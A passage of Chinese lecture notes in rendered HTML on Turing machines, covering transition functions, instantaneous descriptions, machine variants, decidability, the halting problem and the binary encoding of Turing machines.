style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord cjk_fallback">或</span><span class="mord mathnormal">L</span><span class="mclose">)</span></span></span></span>，表示在状态 q 读入符号 X，将状态更新为 p，并在 X 所在的方格中印刷符号 Y，接着向右 / 左移动一格。</li>
</ul>
<p>如：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-pe5lNE.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-pe5lNE.png" alt="image-20200902233904457" loading="lazy" data-wrapped="true"></a></p>
<p>初始状态下，输入字符串依次放在条带上，指针注释第一个元素，状态为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p>
<p><strong>TM 定义的语言为递归可枚举语言</strong>，即 0 型文法。</p>
<h3 id="tm-即时描述-instantaneous-description"><a href="#tm-即时描述-instantaneous-description">TM 即时描述 Instantaneous Description</a></h3>
<p>TM 的即时描述为字符串 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>X</mi><mn>1</mn></msub><msub><mi>X</mi><mn>2</mn></msub><mo>…</mo><msub><mi>X</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mi>q</mi><msub><mi>X</mi><mi>i</mi></msub><msub><mi>X</mi><mrow><mi>I</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>…</mo><msub><mi>X</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">X_1X_2…X_{i-1}qX_iX_{I+1}…X_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07847em;">I</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p>
<ul>
<li>q：目前状态；磁带指向第 i 个符号</li>
<li>其余符号表示最左侧的空白到最右侧的空白之间的所有字符</li>
<li>同样有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mo>⊢</mo><mi>M</mi></msub><msup><mo stretchy="false">)</mo><mo>∗</mo></msup><mo separator="true">,</mo><mo stretchy="false">(</mo><msub><mo>⊢</mo><mi>M</mi></msub><msup><mo stretchy="false">)</mo><mo>+</mo></msup><mo separator="true">,</mo><mo stretchy="false">(</mo><msub><mo>⊢</mo><mi>M</mi></msub><msup><mo stretchy="false">)</mo><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">(\vdash_M)^*, (\vdash_M)^+,(\vdash_M)^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="base"><span class="strut" style="height:1.0213em;vertical-align:-0.25em;"></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span> 的表达方式以表示特定次数的移动</li>
</ul>
<h3 id="tm-作为非负整函数的计算模型"><a href="#tm-作为非负整函数的计算模型">TM 作为非负整函数的计算模型</a></h3>
<p>对非负整数编码后图灵机具有计算能力。</p>
<p>例如计算 n+m 的图灵机可以将字符串编码为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><msup><mn>0</mn><mi>m</mi></msup><mn>1</mn><msup><mn>0</mn><mi>n</mi></msup><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{0^m10^n\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>，利用图灵机扫描，修改 1 的位置即可。</p>
<h3 id="构造方式"><a href="#构造方式">构造方式</a></h3>
<h4 id="multiple-tracks-多轨"><a href="#multiple-tracks-多轨">Multiple Tracks 多轨</a></h4>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-kyF2ny.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-kyF2ny.png" alt="image-20200903000142831" loading="lazy" data-wrapped="true"></a></p>
<p>计算能力和单轨相同，可以将存储的值复合为 {X,Y,Z} 即变成单带。</p>
<h4 id="subroutine-子图"><a href="#subroutine-子图">Subroutine 子图</a></h4>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-f15NZF.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-f15NZF.png" alt="image-20200903000417382" loading="lazy" data-wrapped="true"></a></p>
<h3 id="tm-拓展及变型"><a href="#tm-拓展及变型">TM 拓展及变型</a></h3>
<h4 id="multi-tape-turing-machine-多带处理器"><a href="#multi-tape-turing-machine-多带处理器">Multi-tape Turing machine 多带处理器</a></h4>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-3wLv0V.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-3wLv0V.png" alt="image-20200903000545081" loading="lazy" data-wrapped="true"></a></p>
<p>本质上也和基本图灵机等价。</p>
<h4 id="non-deterministic-tm-非确定图灵机"><a href="#non-deterministic-tm-非确定图灵机">Non-deterministic TM 非确定图灵机</a></h4>
<p>对于每一个转移函数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span>，非确定图灵机具有一系列转移结果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mo stretchy="false">(</mo><msub><mi>q</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>Y</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>D</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo separator="true">,</mo><mo>…</mo><mo stretchy="false">(</mo><msub><mi>q</mi><mi>k</mi></msub><mo separator="true">,</mo><msub><mi>Y</mi><mi>k</mi></msub><mo separator="true">,</mo><msub><mi>D</mi><mi>k</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{(q_1,Y_1,D_1 ),…(q_k,Y_k,D_k)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)}</span></span></span></span></p>
<p>只要有一条路径到达最终状态即可接收。</p>
<h2 id="可计算性-computability"><a href="#可计算性-computability">可计算性 Computability</a></h2>
<p>（仅作了解）</p>
<p>可计算型的问题：对于问题给出是与否的判定。</p>
<ul>
<li>如果一个问题的语言是递归的，则可判定 Decidable</li>
<li>如果一个问题的语言不可递归，则不可判定 Undecidable</li>
</ul>
<p>Example:</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-syrnzU.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-syrnzU.png" alt="image-20200903002305978" loading="lazy" data-wrapped="true"></a></p>
<p>上述程序查找 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>n</mi></msup><mo>+</mo><msup><mi>y</mi><mi>n</mi></msup><mo>=</mo><msup><mi>z</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">x^n+y^n=z^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7477em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8588em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span> 的 x, y, z 整数元组，查找到则输出 <code>hello, world</code>。该问题 Undecidable。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-xMd0Ak.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-xMd0Ak.jpg" alt="img" loading="lazy" data-wrapped="true"></a></p>
<ul>
<li>Non-RE language 非递归可枚举语言（一个不能递归枚举字符串中的所有语言）</li>
<li>递归可枚举语言：可以用类似穷举的算法在有限时间内判定一个元素属于该集合</li>
<li>停机问题 Halting Problem: 不存在一个算法，能够判断任意图灵机<a data-fslightbox="gallery" href="https://www.zhihu.com/equation?tex=%5Cmathcal%7BM%7D"><img src="https://www.zhihu.com/equation?tex=%5Cmathcal%7BM%7D" alt="[公式]" loading="lazy" data-wrapped="true"></a>在任意字符串<a data-fslightbox="gallery" href="https://www.zhihu.com/equation?tex=%5Comega"><img src="https://www.zhihu.com/equation?tex=%5Comega" alt="[公式]" loading="lazy" data-wrapped="true"></a>上否停机。</li>
<li>图灵机编码：
<ul>
<li>用二进制字符串枚举所有可能的字符串（Eg 5337 - 010011011001)</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-Vig3pT.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-03-Vig3pT.png" alt="image-20200903143418447" loading="lazy" data-wrapped="true"></a></li>
<li>接下来对<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span> 编码如下：
<ul>
<li>对任意 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><msub><mi>q</mi><mi>i</mi></msub><mo separator="true">,</mo><msub><mi>X</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msub><mi>q</mi><mi>k</mi></msub><mo separator="true">,</mo><msub><mi>X</mi><mi>l</mi></msub><mo separator="true">,</mo><msub><mi>D</mi><mi>m</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(q_i, X_j) = (q_k,X_l,D_m)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 构造字符串 transition =  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>0</mn><mi>i</mi></msup><mn>1</mn><msup><mn>0</mn><mi>j</mi></msup><mn>1</mn><msup><mn>0</mn><mi>k</mi></msup><mn>1</mn><msup><mn>0</mn><mi>l</mi></msup><mn>1</mn><msup><mn>0</mn><mi>m</mi></msup></mrow><annotation encoding="application/x-tex">0^i10^j10^k10^l10^m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span></span></span></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span></span></span></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span></span></span></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span></span></span></span>，整个图灵机的构造则为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub><mn>11</mn><msub><mi>C</mi><mn>2</mn></msub><mn>11</mn><mo>…</mo><msub><mi>C</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msub><mn>11</mn><msub><mi>C</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">C_111C_211…C_{n-1}11C_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">11</span><span class="mord"><span 